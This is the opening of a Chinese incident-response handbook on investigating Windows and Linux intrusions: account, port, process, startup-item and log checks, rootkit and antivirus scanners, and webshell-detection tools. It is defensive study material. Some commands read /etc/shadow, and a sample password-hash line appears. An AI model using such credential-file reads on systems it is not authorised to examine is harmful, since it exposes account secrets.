应急响应实战笔记

GitHub 地址: <u>https://github.com/Bypass007/Emergency-Response-Notes</u> GitBook 地址: <u>https://bypass007.github.io/Emergency-Response-Notes/</u>

项目介绍

面对各种各样的安全事件,我们该怎么处理?

这是一个关于安全事件应急响应的项目,从系统入侵到事件处理,收集和整理了一些案例进行分析。

我将持续更新这份笔记,希望能帮到有需要的人。

如果你看到好的案例, 欢迎通过issue提交。

项目目录

• [第一章:入侵排查篇]

- 。 第1篇: Window入侵排查
- 。 第2篇: Linux入侵排查
- 。 第3篇:常见的Webshell查杀工具
- 。 第4篇:如何发现隐藏的Webshell后门
- 。 第5篇: 勒索病毒自救指南

• [第二章:日志分析篇]

- 。 第1篇:Window日志分析
- 。 第2篇:Linux日志分析
- 。 第3篇:Web日志分析
- 。 第4篇:MSSQL日志分析
- 。 第5篇:MySQL日志分析
- [第三章: 权限维持篇]
 - 第1篇: Windows权限维持--隐藏篇
 - 第2篇: Windows权限维持--后门篇
 - 。 第3篇: Linux权限维持--隐藏篇
 - 。 第4篇: Linux权限维持--后门篇
 - 。 第5篇: Windows命令行文件下载方式汇总
 - 。 第6篇: 三大渗透测试框架权限维持技术
 - 。 第7篇:常见WebShell管理工具
- [第四章:Windows实战篇]
 - 。 第1篇: FTP暴力破解
 - 第2篇: 蠕虫病毒
 - 第3篇: 勒索病毒

- 第4篇: ARP病毒
- 第5篇:挖矿病毒(一)
- 第6篇:挖矿病毒(二)
- [第五章: Linux实战篇]
 - 。 第1篇: SSH暴力破解
 - 第2篇:捕捉短连接
 - 第3篇: 挖矿病毒
 - o 第4篇:盖茨木马
 - 。 第5篇: DDOS病毒
 - o 第6篇: Shell病毒
- [第六章: Web实战篇]
 - 。 第1篇: 网站被植入Webshell
 - 。 第2篇: 门罗币恶意挖矿
 - 第3篇:批量挂黑页
 - 第4篇:新闻源网站劫持
 - 第5篇: 移动端劫持
 - 第6篇:搜索引擎劫持
 - 。 第7篇: 网站首页被篡改
 - 第8篇:管理员账号被篡改
 - 第9篇:编辑器入侵事件

学习交流

后续持续更新内容,将发布在公众号Bypass--,同时公众号提供了该项目的PDF版本,关注后回复"应急响应"即可下载。



第一章:入侵排查篇

第1篇: window入侵排查

0x00 前言

当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。

常见的应急响应事件分类:

web入侵:网页挂马、主页篡改、Webshell

系统入侵:病毒木马、勒索软件、远控后门

网络攻击: DDOS攻击、DNS劫持、ARP欺骗

针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,总结了一些Window服务器入侵排查的思路。

0x01 入侵排查思路

1.1 检查系统账号安全

- 1、查看服务器是否有弱口令,远程管理端口是否对公网开放。
 - 检查方法: 据实际情况咨询相关服务器管理员。
- 2、查看服务器是否存在可疑账号、新增账号。
 - 检查方法: 打开 cmd 窗口, 输入 lusrmgr.msc 命令, 查看是否有新增/可疑的账号, 如有管理员群组的 (Administrators) 里的新增账户, 如有, 请立即禁用或删除掉。
- 3、查看服务器是否存在隐藏账号、克隆账号。
 - 检查方法:
 - a、打开注册表,查看管理员对应键值。
 - b、使用D盾_web查杀工具,集成了对克隆账号检测的功能。

「數据库后门追查」| 🥑 数据库降权 | 🕵 克隆帐号检测 🔤 流星监控 | 📴 IIS池监控 | 🚱 湍口查看 | 🕑 进程查看 | 🍑 样本解码 | 😋 文件监控

| ID | 帐号 | 全名 | 描述 | D盾_检测说明 | |
|-------|-----------------|---------------|----------------|-----------------|--|
| 🕵 3ED | test\$ | | | 危险!克隆了[管理帐号] | |
| 🕵 3EE | test1\$ | | | 带\$帐号(一般用于隐藏帐号) | |
| 🕵 1F4 | Administrator | | 管理计算机(域)的内置 | [管理帐号] | |
| 💥 1F5 | Guest | | 供来宾访问计算机或访 | | |
| 🕵 3E8 | IUSR_WIN2008-NE | Internet 来宾帐户 | 用于匿名访问 Interne | | |

- 4、结合日志,查看管理员登录时间、用户名是否存在异常。
 - 检查方法:
 - a、Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器"。
 - b、导出Windows日志--安全,利用Log Parser进行分析。

```
C:\Program Files (x86)\Log Parser 2.2)LogParser.exe -i:EVT "SELECT TimeGenera
as LoginTime,EXTRACT_TOKEN(Strings,5,'!') as username FROM c:\11.evtx where
ntID=4624"
LoginTime
                    username
2018-06-17 18:26:24 Administrator
2018-06-17 18:54:37 SYSTEM
2018-06-18 01:21:30 Administrator
2018-06-18 01:21:39 Administrator
Statistics:
Elements processed: 9936
Elements output: 4
Execution time:
                   0.17 seconds
C:\Program Files (x86)\Log Parser 2.2>
```

1.2 检查异常端口、进程

- 1、检查端口连接情况,是否有远程连接、可疑连接。
 - 检查方法:
 - a、netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED
 - b、根据netstat 定位出的pid,再通过tasklist命令进行进程定位 tasklist | findstr "PID"

| 🗟 管理员 | : C:\Windows\system | n32\cnd. exe | | <u> </u> |
|---------------------------|---------------------|---------------------------------------|-----------|----------|
| C:\User | ∙s\Administrator> | netstat -ano | | <u> </u> |
| ≳ ∓ ≑₩3 ≭ 4 | ÷ | | | |
| 伯初儿士1 | 文 | | | |
| 协议 | 本地地址 | 外部地址 状态 | PID | |
| TCP | 0.0.0.0:80 | 0.0.0.0:0 | LISTENING | 4 |
| TCP | 0.0.0.0:135 | 0.0.0.0:0 | LISTENING | 656 |
| TCP | 0.0.0.0:445 | 0.0.0.0:0 | LISTENING | 4 |
| TCP | 0.0.0.0:1433 | 0.0.0.0:0 | LISTENING | 2112 |
| TCP | 0.0.0.0:2383 | 0.0.0.0:0 | LISTENING | 1352 |
| TCP | 0.0.0.0:3389 | 0.0.0.0:0 | LISTENING | 2608 |
| TCP | 0.0.0.0:8080 | 0.0.0.0:0 | LISTENING | 2284 |
| TCP | 0.0.0.0:47001 | 0.0.0.0:0 | LISTENING | 4 |
| 🚾 管理员 | : C:\Windows\syste | 32\cmd. exe | | |
| | | | | ▲ |
| C:\Usei | •s Administrator> | tasklist ¦findstr "2112" ⁴ | | |
| salserv | r.exe | 2112 Services | Ø | 97,156 K |
| | | | | |
| C:\Usei | ∙s\Administrator> | | 55++17 | |
| | | ¼術凵PID→进程 | 的转换 | |
| | | | | |

2、进程

• 检查方法:

a、开始--运行--输入msinfo32,依次点击"软件环境→正在运行任务"就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等。

b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程。

- c、通过微软官方提供的 Process Explorer 等工具进行排查。
- d、查看可疑的进程及其子进程。可以通过观察以下内容:

没有签名验证信息的进程 没有描述信息的进程 进程的属主 进程的路径是否合法 CPU或内存资源占用长时间过高的进程

3、小技巧:

a、查看端口对应的PID: netstat -ano | findstr "port"

b、查看进程对应的PID:任务管理器--查看--选择列--PID或者 tasklist | findstr "PID"

c、查看进程对应的程序位置:

任务管理器--选择对应进程--右键打开文件位置

运行输入 wmic, cmd界面 输入 process

d、tasklist /svc 进程--PID--服务

e、查看Windows服务所对应的端口: %system%/system32/drivers/etc/services (一般%system%就是 C:\Windows)

1.3 检查启动项、计划任务、服务

- 1、检查服务器是否有异常的启动项。
 - 检查方法:

a、登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务 程序在该目录下。b、单击开始菜单>【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消 勾选命名异常的启动项目,并到命令中显示的路径删除文件。c、单击【开始】>【运行】,输入 regedit,打开注 册表,查看开机启动项是否正常,特别注意如下三个注册表项:

 ${\sf HKEY_CURRENT_USER\software\miccorsoft\windows\current\version\run}$

 ${\sf HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current\Version\Run}$

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce 检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。

d、利用安全软件查看启动项、开机时间管理等。

e、组策略,运行gpedit.msc。

| <mark>ዀ</mark> 粗束略编辑器 | | | |
|-------------------------------------|-------------------|---------------------------------------|--|
| 文件(E) 操作(A) 查看(V) 帮 |)助 (H) | | |
| ← → 🗈 🖬 📽 😫 😫 | ÞE | | |
| ⑤ "本地计算机"策略 ○ ⑧ 计算机配置 | 🎒 脚本(启动/关机) | · · · · · · · · · · · · · · · · · · · | |
| □···□ 软件设置 □··□ Windows 设置 | 启动 | | |
| | 显示属性 | 四,244 四)关机 | |
| | 描述: 包含计算机启动脚本。 | 启动 雇性 | <u>? ×</u> |
| ☆ ⊡ ☆ ○ 软件设置 □ ☆ ○ Windows 没置 | | 脚本 | |
| □□□□ 管理模板 | | (二) 여러 脚大 (大地)上質却 (5) | |
| | | 泽川尉 本 | <u>? X</u> |
| | | 脚本名 (2): | 浏览(B) |
| | | 脚本参数 (E): | |
| | | | |
| | | 确定 | 取消 |
| | | | 册除(E) |
| | | 本大天但大大小小村体的社会もないまたい。 キャーデ | +::::::::::::::::::::::::::::::::::::: |
| | | 去 | 拉钳。 |
| | | 显示文件 (<u>S</u>) | |
| | ↓扩展 √标准 / | | 应用(4) |

- 2、检查计划任务
 - 检查方法:

a、单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径。

b、单击【开始】>【运行】;输入 cmd,然后输入at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

3、服务自启动

• 检查方法:单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型,检查是否有异常服务。

1.4 检查系统相关信息

- 1、查看系统版本以及补丁信息
 - 检查方法:单击【开始】>【运行】,输入systeminfo,查看系统信息
- 2、查找可疑目录及文件
 - 检查方法:

a、 查看用户目录, 新建账号会在这个目录生成一个用户目录, 查看是否有新建用户目录。

Window 2003 C:\Documents and Settings

Window 2008R2 C:\Users\

- b、单击【开始】>【运行】, 输入%UserProfile%\Recent, 分析最近打开分析可疑文件。
- c、在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。

- d、回收站、浏览器下载目录、浏览器历史记录
- e、修改时间在创建时间之前的为可疑文件
- 3、得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?
- a、利用 Registry Workshop 注册表编辑器的搜索功能,可以找到最后写入时间区间的文件。
- b、利用计算机自带文件搜索功能,指定修改时间进行搜索。

1.5 自动化查杀

- 病毒查杀
 - 检查方法:下载安全软件,更新最新病毒库,进行全盘扫描。
- webshell查杀
 - 检查方法:选择具体站点路径进行webshell查杀,建议使用两款webshell查杀工具同时查杀,可相互补充规则库的不足。

1.6 日志分析

系统日志

• 分析方法:

a、前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的 信息等。

- b、Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器"。
- C、导出应用程序日志、安全日志、系统日志,利用Log Parser进行分析。

WEB访问日志

- 分析方法:
 - a、找到中间件的web日志,打包到本地方便进行分析。
 - b、推荐工具:Window下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。

Linux下,使用Shell命令组合查询分析

0x02 工具篇

2.1 病毒分析

PCHunter: http://www.xuetr.com

火绒剑: <u>https://www.huorong.cn</u>

Process Explorer: https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

processhacker: https://processhacker.sourceforge.io/downloads.php

autoruns: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

OTL: <u>https://www.bleepingcomputer.com/download/otl/</u>

SysInspector: <u>http://download.eset.com.cn/download/detail/?product=sysinspector</u>

2.2 病毒查杀

卡巴斯基: <u>http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe</u> (推荐理由: 绿色版、最新病 毒库)

大蜘蛛: <u>http://free.drweb.ru/download+cureit+free</u> (推荐理由: 扫描快、一次下载只能用1周, 更新病毒库)

火绒安全软件: <u>https://www.huorong.cn</u>

360杀毒: <u>http://sd.360.cn/download_center.html</u>

2.3 病毒动态

CVERC-国家计算机病毒应急处理中心: <u>http://www.cverc.org.cn</u>

微步在线威胁情报社区: https://x.threatbook.cn

火绒安全论坛: http://bbs.huorong.cn/forum-59-1.html

爱毒霸社区: <u>http://bbs.duba.net</u>

腾讯电脑管家: <u>http://bbs.guanjia.qq.com/forum-2-1.html</u>

2.4 在线病毒扫描网站

http://www.virscan.org //多引擎在线病毒扫描网 v1.02,当前支持 41 款杀毒引擎

<u>https://habo.qq.com</u> //腾讯哈勃分析系统

https://virusscan.jotti.org //Jotti恶意软件扫描系统

http://www.scanvir.com //针对计算机病毒、手机病毒、可疑文件等进行检测分析

2.5 webshell查杀

D盾_Web查杀: <u>http://www.d99net.net/index.asp</u>

河马webshell查杀: <u>http://www.shellpub.com</u>

深信服Webshell网站后门检测工具: <u>http://edr.sangfor.com.cn/backdoor_detection.html</u>

Safe3: http://www.uusec.com/webshell.zip

第2篇: Linux入侵排查

0x00 前言

当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。

针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,总结了一些Linux服务器入侵排查的思路。

0x01入侵排查思路

1.1 账号安全

基本使用:

1、用户信息文件/etc/passwd
 root:x:0:0:root:/root:/bin/bash
 account:password:UID:GID:GECOS:directory:shell
 用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell
 注意:无密码只允许本机登陆,远程不允许登陆

2、影子文件/etc/shadow root:\$6\$oGs1PqhL2p3ZetrE\$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7q11wpkopY0UV 9ajBwUt1DpYXTCVvI/:16809:0:999999:7::: 用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之 后的宽限天数:账号失效时间:保留

 who
 查看当前登录用户(tty本地登陆 pts远程登录)

 w
 查看系统信息,想知道某一时刻用户的行为

 uptime
 查看登陆多久、多少用户,负载

入侵排查:

1、查询特权用户特权用户(uid 为0) [root@localhost ~]# awk -F: '\$3==0{print \$1}' /etc/passwd 2、查询可以远程登录的帐号信息 [root@localhost ~]# awk '/\\$1|\\$6/{print \$1}' /etc/shadow 3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限 [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^\$" | grep "ALL=(ALL)" 4、禁用或删除多余及可疑的帐号 usermod -L user 禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头 userdel user 删除user用户 userdel -r user 将删除user用户,并且将/home目录下的user目录一并删除

1.2 历史命令

基本使用:

```
通过.bash_history查看帐号执行过的系统命令
1、root的历史命令
histrov
2、打开/home各帐号目录下的.bash_history, 查看普通帐号的历史命令
为历史的命令增加登录的IP地址、执行命令时间等信息:
1) 保存1万条命令
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
2) 在/etc/profile的文件尾部添加如下行数配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
```

3) source /etc/profile让配置生效

生成效果: 1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile

3、历史操作命令的清除: history -c 但此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_profile文件中的记录。

入侵排查:

```
进入用户目录下
cat .bash_history >> history.txt
```

1.3 检查异常端口

使用netstat 网络连接命令,分析可疑端口、IP、PID

netstat -antlp|more

查看下pid所对应的进程文件路径, 运行ls -l /proc/\$PID/exe或file /proc/\$PID/exe(\$PID 为对应的pid 号)

1.4 检查异常进程

使用ps命令,分析进程

ps aux | grep pid

1.5 检查开机启动项

基本使用:

系统运行级别示意图:

| 运行级别 | 含义 |
|------|----------------------------------|
| 0 | 关机 |
| 1 | 单用户模式,可以想象为windows的安全模式,主要用于系统修复 |
| 2 | 不完全的命令行模式,不含NFS服务 |
| 3 | 完全的命令行模式,就是标准字符界面 |
| 4 | 系统保留 |
| 5 | 图形模式 |
| 6 | 重启动 |

查看运行级别命令 runlevel

系统默认允许级别

vi /etc/inittab id=3: initdefault 系统开机后直接进入哪个运行级别

开机启动配置文件

/etc/rc.local
/etc/rc.d/rc[0~6].d

例子:当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在/etc/init.d目录下,然后在/etc/rc.d/rc*.d中建立软链 接即可

root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh

此处sshd是具体服务的脚本文件,S100ssh是其软链接,S开头代表加载时自启动;如果是K开头的脚本文件,代表运行级别加载时需要关闭的。

入侵排查:

启动项文件: more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

1.6 检查定时任务

基本使用

- 1、利用crontab创建计划任务
 - 基本命令

crontab - I 列出某个用户cron服务的详细内容

Tips: 默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root

crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务)

crontab -e 使用编辑器编辑当前的crontab文件

如: */1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件

- 2、利用anacron实现异步定时任务调度
 - 使用案例

每天运行 /home/backup.sh脚本: vi /etc/anacrontab @daily 10 example.daily /bin/bash /home/backup.sh 当机器在 backup.sh 期望被运行时是关机的, anacron会在机器开机十分钟之后运行它, 而不用再等待 7天。

入侵排查

重点关注以下目录中是否存在恶意脚本

/var/spool/cron/*
/etc/cron.tab
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

小技巧:

more /etc/cron.daily/* 查看目录下所有文件

1.7 检查服务

服务自启动

第一种修改方法:

```
chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig -level 2345 httpd on 开启自启动
chkconfig httpd on (默认level是2345)
```

第二种修改方法:

修改/etc/re.d/rc.local 文件 加入 /etc/init.d/httpd start

第三种修改方法:

使用ntsysv命令管理自启动,可以管理独立服务和xinetd服务。

入侵排查

1、查询已安装的服务:

RPM包安装的服务

```
chkconfig --list 查看服务自启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务
系统在3与5级别下的启动项
中文环境
chkconfig --list | grep "3:启用\|5:启用"
英文环境
chkconfig --list | grep "3:on\|5:on"
```

源码包安装的服务

查看服务安装位置 , 一般是在/user/local/ service httpd start 搜索/etc/rc.d/init.d/ 查看是否存在

1.8 检查异常文件

- 1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以".."为名的文件夹具有隐藏属性
- 2、得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?

可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件

3、针对可疑文件可以使用stat进行创建修改时间。

1.9 检查系统日志

日志默认存放位置: /var/log/

查看日志配置情况: more /etc/rsyslog.conf

| 日志文件 | 说明 |
|------------------|---|
| /var/log/cron | 记录了系统定时任务相关的日志 |
| /var/log/cups | 记录打印信息的日志 |
| /var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
| /var/log/mailog | 记录邮件信息 |
| /var/log/message | 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 |
| /var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
| /var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要 使用lastlog命令查看 |
| /var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
| /var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登 录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
| /var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换 用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |

日志分析技巧:

1、定位有多少IP在爆破主机的root帐号: grep "Failed password for root" /var/log/secure | awk '{print \$11}' | sort | uniq -c | sort -nr | more

定位有哪些IP在爆破: grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.

(25[0-5]]2[0-4][0-9][0-9][0-9][0-9]?)\.(25[0-5]]2[0-4][0-9][01]?[0-9][0-9]?)\.(25[0-5]]2[0-4] [0-9]|[01]?[0-9][0-9]?)"|uniq -c 爆破用户名字典是什么? grep "Failed password" /var/log/secure|perl -e 'while(\$_=<>){ /for(.*?) from/; print "\$1\n";}'|uniq -c|sort -nr 2、登录成功的IP有哪些: grep "Accepted " /var/log/secure | awk '{print \$11}' | sort | uniq -c | sort -nr | more 登录成功的日期、用户名、IP: grep "Accepted " /var/log/secure | awk '{print \$1,\$2,\$3,\$9,\$11}' 3、增加一个用户kali日志: Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001 Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali , shell=/bin/bash Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali #grep "useradd" /var/log/secure 4、删除用户kali日志: Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali' # grep "userdel" /var/log/secure 5、su切换用户: Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0) sudo授权执行: sudo -1 Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

0x02 工具篇

2.1 Rootkit查杀

• chkrootkit

网址: <u>http://www.chkrootkit.org</u>

```
使用方法:
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
#编译完成没有报错的话执行检查
./chkrootkit
```

• rkhunter

网址: <u>http://rkhunter.sourceforge.net</u>

```
使用方法:
Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c
```

2.2 病毒查杀

Clamav

```
ClamAV的官方下载地址为: <u>http://www.clamav.net/download.html</u>
安装方式一:
```

```
1、安装zlib:
wget http://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz
tar -zxvf zlib-1.2.7.tar.gz
cd zlib-1.2.7
#安装一下gcc编译环境: yum install gcc
CFLAGS="-03 -fPIC" ./configure --prefix= /usr/local/zlib/
make && make install
2、添加用户组clamav和组成员clamav:
groupadd clamav
useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav
3、安装Clamav
tar -zxvf clamav-0.97.6.tar.gz
cd clamav-0.97.6
./configure --prefix=/opt/clamav --disable-clamav -with-zlib=/usr/local/zlib
make
make install
4、配置Clamav
mkdir /opt/clamav/logs
mkdir /opt/clamav/updata
touch /opt/clamav/logs/freshclam.log
touch /opt/clamav/logs/clamd.log
cd /opt/clamav/logs
chown clamav:clamav clamd.log
chown clamav:clamav freshclam.log
5、ClamAV 使用:
/opt/clamav/bin/freshclam 升级病毒库
./clamscan -h 查看相应的帮助信息
./clamscan -r /home 扫描所有用户的主目录就使用
./clamscan -r --bell -i /bin 扫描bin目录并且显示有问题的文件的扫描结果
```

```
安装方式二:
```

```
#安装
yum install -y clamav
#更新病毒库
freshclam
#扫描方法
clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log
clamscan -r /bin --max-dir-recursion=5 -l /root/binclamav.log
clamscan -r /usr --max-dir-recursion=5 -l /root/usrclamav.log
#扫描并杀毒
clamscan -r --remove /usr/bin/bsd-port
clamscan -r --remove /usr/bin/
clamscan -r --remove /usr/bin/
clamscan -r --remove /usr/local/zabbix/sbin
#查看日志发现
cat /root/usrclamav.log |grep FOUND
```

2.3 webshell查杀

linux版:

```
河马webshell查杀: http://www.shellpub.com
深信服webshell网站后门检测工具: http://edr.sangfor.com.cn/backdoor_detection.html
```

2.4 RPM check检查

系统完整性可以通过rpm自带的-Va来校验检查所有的rpm软件包,查看哪些命令是否被替换了:

./rpm -Va > rpm.log

如果一切均校验正常将不会产生任何输出,如果有不一致的地方,就会显示出来,输出格式是8位长字符串,每个字符都用以表示文件与RPM数据库中一种属性的比较结果,如果是.(点)则表示测试通过。

| 验证内容中的8个信息的具体内容如 | |
|------------------|----------------------------|
| S | 文件大小是否改变 |
| М | 文件的类型或文件的权限(rwx)是否被改变 |
| 5 | 文件MD5校验是否改变 (可以看成文件内容是否改变) |
| D | 设备中,从代码是否改变 |
| L | 文件路径是否改变 |
| U | 文件的属主(所有者)是否改变 |
| G | 文件的属组是否改变 |
| т | 文件的修改时间是否改变 |

如果命令被替换了,如果还原回来:

```
文件提取还原案例:

rpm -qf /bin/ls 查询ls命令属于哪个软件包

mv /bin/ls /tmp 先把ls转移到tmp目录下,造成ls命令丢失的假象

rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取rpm包中ls命令

到当前目录的/bin/ls下

cp /root/bin/ls /bin/把ls命令复制到/bin/目录 修复文件丢失
```

2.5 linux安全检查脚本

Github项目地址:

https://github.com/grayddq/GScan

https://github.com/ppabc/security_check

https://github.com/T0xst/linux

尽信书不如无书,工具只是辅助,别太过于依赖,关键在于你如何解决问题的思路。

第3篇:常见的Webshell查杀工具

当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞。

本文推荐了10款Webshll检测工具,用于网站入侵排查。当然,目前市场上的很多主机安全产品也都提供这种WebShell 检测能力,比如阿里云、青藤云、safedog等,本文暂不讨论。

1、D盾_Web查杀

阿D出品,使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的WebShell后门行为。

兼容性:只提供Windows版本。

工具下载地址: <u>http://www.d99net.net/down/WebShellKill V2.0.9.zip</u>

| M D盾_Web查杀 V2.0.9 [永久免费] http://www.d99net.net/ | – 🗆 X |
|---|--|
| D 盾 _ Web 查杀 远离木马骚扰 使用代码分析引擎,能遍查更为隐藏的后门行为,让你网站运行于安全状态 | |
| 🔍 查杀 🛒 隔离 🖄 工具 🧼 选项 🔟 关于 | |
| 日描全部站点 ● ● ● ● ● ● | ∷: 新闻动态 ::: 查 查 并 座已不再更新 ④ 无法加载 libmysql. dll的解决方法 ④ □盾_首页 |
| 检测文件: 0 | .:: |

2、百度WEBDIR+

下一代WebShell检测引擎,采用先进的动态监测技术,结合多种引擎零规则查杀。

兼容性:提供在线查杀木马,免费开放API支持批量检测。

在线查杀地址: <u>https://scanner.baidu.com/</u>



3、河马

专注webshell查杀研究,拥有海量webshell样本和自主查杀技术,采用传统特征+云端大数据双引擎的查杀技术。查杀 速度快、精度高、误报低。

兼容性: 支持Windows、linux, 支持在线查杀。

官方网站: <u>https://www.shellpub.com/</u>



4、Web Shell Detector

Webshell Detector具有"Webshell"签名数据库,可帮助识别高达99%的"Webshell"。

兼容性:提供php/python脚本,可跨平台,在线检测。

官方网站: <u>http://www.shelldetector.com/</u>

github项目地址: <u>https://github.com/emposha/PHP-Shell-Detector</u>



5、CloudWalker (牧云)

一个可执行的命令行版本 Webshell 检测工具。目前,项目已停止更新。

兼容性,提供linux版本,Windows暂不支持。

在线查杀demo: <u>https://webshellchop.chaitin.cn/</u>

github项目地址: <u>https://github.com/chaitin/cloudwalker</u>

| Last login: Sat Sep 29 11:43:51 on ttys000 cyrus@localhost -/GoWebshellDetector/bin / bin release //detector -path -/GoWebshellDetector/bin / bin release | etector/sample/test |
|--|---------------------|
| | |
| | |
| 2018/09/29 11:44:52 Detector started | |
| [+] 00000010 /Users/cyrus/GoWebshellDetector/sample/test/0ab6fd32.php | Risk:1 |
| <pre>[+] 00000012 /Users/cyrus/GoWebshellDetector/sample/test/0c578edb.php [+] 00000011 /Users/cyrus/GoWebshellDetector/sample/test/0c578edb.php</pre> | Risk:1 |
| <pre>[+] 00000021 /Users/cyrus/GowebshellDetector/sample/test/15C50290.php [+] 00000027 /Users/cyrus/GowebshellDetector/sample/test/1684356.php</pre> | Risk:1 |
| [+] 00000032 /Users/cyrus/GoWebshellDetector/sample/test/1de39874.php | Risk:1 |
| <pre>[+] 00000034 /Users/cyrus/GoWebshellDetector/sample/test/leab02f4.php</pre> | Risk:1 |
| [+] 00000040 /Users/cyrus/GoWebshellDetector/sample/test/291763ed.php | Risk:1 |
| (+) 00000041 /Users/cyrus/GowebshellUetector/sample/test/2005CT00.ppp (A) 00000043 /Users/cyrus/GowebshellUetector/sample/test/2005CT00.ppp | RISK:4 Diek:5 |
| (*) 00000045 /Users/cyrus/Gowebshellbetctor/sample/test/2ce1600.pmp | Risk:4 |
| [+] 00000074 /Users/cyrus/GoWebshellDetector/sample/test/43d689b5.php | Risk:5 |
